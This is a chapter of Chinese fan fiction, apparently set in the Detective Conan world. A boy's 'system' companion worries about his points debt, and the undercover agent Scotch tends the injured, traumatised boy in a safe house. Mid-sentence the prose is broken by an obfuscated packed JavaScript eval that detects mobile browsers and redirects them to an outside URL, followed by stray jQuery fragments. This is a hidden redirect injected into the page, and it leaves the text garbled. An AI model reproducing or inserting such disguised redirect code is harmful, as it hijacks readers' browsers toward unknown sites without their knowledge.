“我好惨啊,小光~~”
身体再度失去了控制。夏目春树窝在系统空间里。身后靠着一个软乎乎的懒人沙发。手里拎着漫画书,漫不经心的用手指把漫画书的边角卷起来又摊平拉开,随后再度卷起来。语气带着黏糊糊的埋怨。
“Haru酱感觉自己每一天都在失去意识呢……”
故意做了个哭唧唧的表情。用手撑着脸上的肉凹出了一个最让系统受用的委屈的样子。夏目春树有些黏糊的抱怨着。
“Haru的本体已经把系统空间当家了啊……”
系统有些可怜的拍了拍自家宿主的脑袋,脑海里已经被“我家宿主怎么这么可怜啊!”刷屏了。
小光球选择性的遗忘了快要积攒到5位数的账单,分出了一个小小的光团,轻柔的按在了少年人柔软的头发上。而夏目春树则是一副很受用的样子,笑眯眯的蹭了蹭那团温暖的空气。语气肯定的应和道。
“就是这么说呀!”
系统也叹气。在他的知识库里,很少有宿主会把备用的身体一直放在外面行动。毕竟维持这样的身体要花费的积分真的非常庞大。
可是……可是……
系统看了看待在系统空间内干干净净,可可爱爱的宿主本人。想了想,那具叫做备用身体,实则已经常驻的身体到现在的悲惨遭遇沉默了。
怎么能让自家宿主去遭那种罪呢?!!
账单什么的就欠着吧。
业绩他也不要了……吧?
“宿主,明天就是漫画的第1章了,我们必须要蹭到镜头!!”
系统端正了语气,一脸深沉的和自家宿主商量。同时拉开了面板,将一行红眈眈的数字展示在了夏目春树的面前。
“再这样欠下去,我们家就要揭不开锅,而我的业绩要完蛋了!”
面板的正上方。原本呈现为白色的积分数字已经变成了红的像血一样的-7539。
没错,这全都是宿主在实验室里这段时间维持身体所需要花费的积分!!
万幸组织把那具身体修好了。不然治愈用的费用又不知道花上多少个数啊……
系统痛哭,整个球都暗淡了下来。夏目春树看着面前色彩暗淡的系统小球,一脸认真的托着脸颊。
“ Ok,这段时间我叫你学习的剪辑技术学习的怎么样了。”
面容秀丽的黑发少年人面色认真。嘴角带着一丝不怀好意的笑容。却无端的让系统的心安定了下来。
“非常的好!学习这种事情我是专业的!”
系统拍了拍并不存在的胸脯表示。看起来只像是一个小光球晃动了几下。夏目春树满意的点点头,语气笃定道。
“等着我明天的表现吧!”
*
这是一朵近乎枯萎的,甚至无法用双手捧住的花。
苏格兰低头望着已经失去了意识的少年人,心中无端冒出了这样一句话来。
少年人被冷汗和泪水打湿的细长发丝正服贴的贴在苍白的秀丽脸颊上。修长的四肢柔顺地垂落着,像是一株在阴暗处枯萎的植物因腐败而无法在挺立的柔顺枝条。浸透了黑暗中阴郁的冷气,安静的在泥潭中腐烂。
白色的皮肉,红色的鲜血和青紫色的於痕,在这具瘦弱纤细的身躯上共同绘制出一幅阴郁又潮湿的画作。
晃动间透露出被长袖长裤隐藏着的红色的镣铐所致的红肿伤口。
他的眉头仿佛无时无刻不在紧凑着。像是一只误入了黑暗却又无处可去的弱小动物。哪怕在睡梦中也在不安的挣扎着。
先去处理伤口吧。
苏格兰的脚步一顿。视线无法避免地被那袒露无遗的伤口吸引着,心中思索了几下。觉得“自己”是会做出这种事的人。于是脚尖方向轻巧的一拐,转头进了自己的房间里。
由于双手抱住少年显得并不方便。于是苏格兰微微侧身用肩膀顶开了房间内灯的开关。房间内简约的布置,一览无遗。
房间里就是组织安全屋通用的样式。布置几乎毫无个性可言,为数不多的几件属于他自己的物品被稀稀疏疏的放置在房间内。勉强宣告着房间主人是谁。
放置在桌角的贝斯包。摊平在桌面上的乐谱。几件风格普通的在多数人眼里属于怎么也不会错的穿搭,挂在随意敞开的衣柜里。
唯一特殊的便是被安静的放置在紧闭窗台边,却依旧努力从窗帘缝隙中汲取着光线的小小盆栽。
这一抹顽强的绿色为由黑白灰三色拼凑而成的冰冷房间内增添了一丝明亮的色彩来。
像少年的眼。
苏格兰垂眸看向日日陪伴着自己的小小盆栽。心里却倒映出了一双胆怯又漂亮的绿色双眸。
又是一阵恍然。
他闭了闭眼,努力的摆脱着这些情感的纠缠。却一时解不开缠绕着自己心脏的那些怎么也剪不断的思虑来。于是干脆转移了视线。双手平稳又有力地将少年人轻放在了整齐的床铺上。
随后顺手拎起了正放在床沿边的医疗箱。
医疗箱是组织配备的,应该有的不应该有的药物都有。这样一个庞然大物对于为他出生入死的行动组成员一向很大方。无论是谁都挑不出这些精心准备的样式齐全的药物的错误来。
苏格兰过去的这段时间里,用这些药物用的一向顺手,此刻却出了问题。
他闷头在医疗箱里找了半天,只从里面找到了一些勉强有用的止血药来。至于那些对付瘀伤红肿的药物,却一点头绪都没有了。
毕竟无论是行动组成员,还是那些自认为准备周密的后勤人员,都想不到有朝一日这个药箱会用来处理表皮的淤青吧。
苏格兰皱眉看着手里的药箱。像他们这些人平时被揍了一拳是家常便饭,只要不涉及内出血,一般都是硬扛过去的。
黑发猫眼的男人叹了口气。又任命的翻找了几下。仔仔细细的查看了药物包装上每一条功效,才有从细密小字的犄角旮旯里艰难的翻出了几个有着活血化瘀功效的药物来。
行吧。勉强能用就行。
毕竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422527|184778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现在也算是大晚上了。自己这副一看就不好惹的样子去买药总有可能被怀疑,还是算了吧。
“唔…………”
或许是翻动那些瓶瓶罐罐的声音太大。正躺平在床上失去意识的少年,被从意识海中拉了出来。嘴里嘟嘟囔囔的,发出一些浑浊不清的声音。饶是像苏格兰这样耳力惊人的顶尖杀手,一时也难以听清。
他凑近了些,直到耳垂能感受到带着恐慌气息的温热吐息。才听清了那夹杂着嘶哑嗓音的字眼。
“爸爸……妈妈……我好怕,好怕………唔……”
这惶恐的声音仿佛一道细密的电流,贯穿了苏格兰的全身,让每一寸肌肉都无法自控的僵持着,让他呆立在了原地。
而他的大脑……正在进行权衡利弊的卧底搜查官的大脑也一下子被这样几个简单的词汇搅成了一滩浑水。
他安静又轻柔的站起身,仿佛一只受到了恐怖威胁的猫科动物般弓起身子缓缓的后退了几步。动作寂静到连空气都未曾带动。
直到后背缓慢的顶住墙壁,衣服不可避免地发出了轻微的摩擦声,他终于站定了,垂下眸,仔细的看着正在床上蜷缩成一团的少年。
ptsd
心里冷静又万分确信的下了判断。不仅仅是出于作为卧底培训时上的心理课的经验。更是出于他本人的亲身经历。
在亲眼目睹父母被杀死的那段日子后。他也如眼前的少年一般,于无数个夜晚不安的蜷缩在一起,梦中不断呼唤着父母。那时候失语的他只能从喉头里发出挣扎的气音。
如此的恐惧,仿佛人生都被困在了衣柜中那一片黑暗与血色交织的记忆里。
不同的是那时候的他尚有沉着稳重的高明哥作为依靠。也有与父母交好的亲戚保证生活。更有身为好友的降谷零开解心结。
而面前这个少年却什么都没有。
哈……………………
这可让我……如何是好啊?
诸伏景光低下头看着自己的双手。一双早已被鲜血染红了的手。布满着刀伤和木仓茧,这是一双属于卧底搜查官的手。也是一双属于十恶不赦的杀人凶手的手。
而他成为后者的原因,正是为了前者。
“苏格兰”这时应该怎么做呢?
诸伏景光安静地看着陷入了ptsd中。恍若小动物一般颤抖应激的少年。对方的声音仍旧是沙哑又细微的。但他却从那无法分辨的细小呜咽声听出了一个孩子近乎绝望的呻吟和呼唤。
眼下的场景是在卧底课堂上无论如何都无法设想出的,他在课堂上试想过被怀疑被举报,身份暴露,又或是其他的任何事。唯独没有演示过遇到这样一个与自己万分相似又深陷泥潭的孩子应当该如何自处?
这是按教官的话来说,应该迅速反应。因为他们所表现出来的人格是基于他们本身固有的性格出发进行改编的。这时候听从本心是最好的。
自己的本心吗?
他按住胸口闭上眼,仔细的倾听着被自己忽视许久的心跳。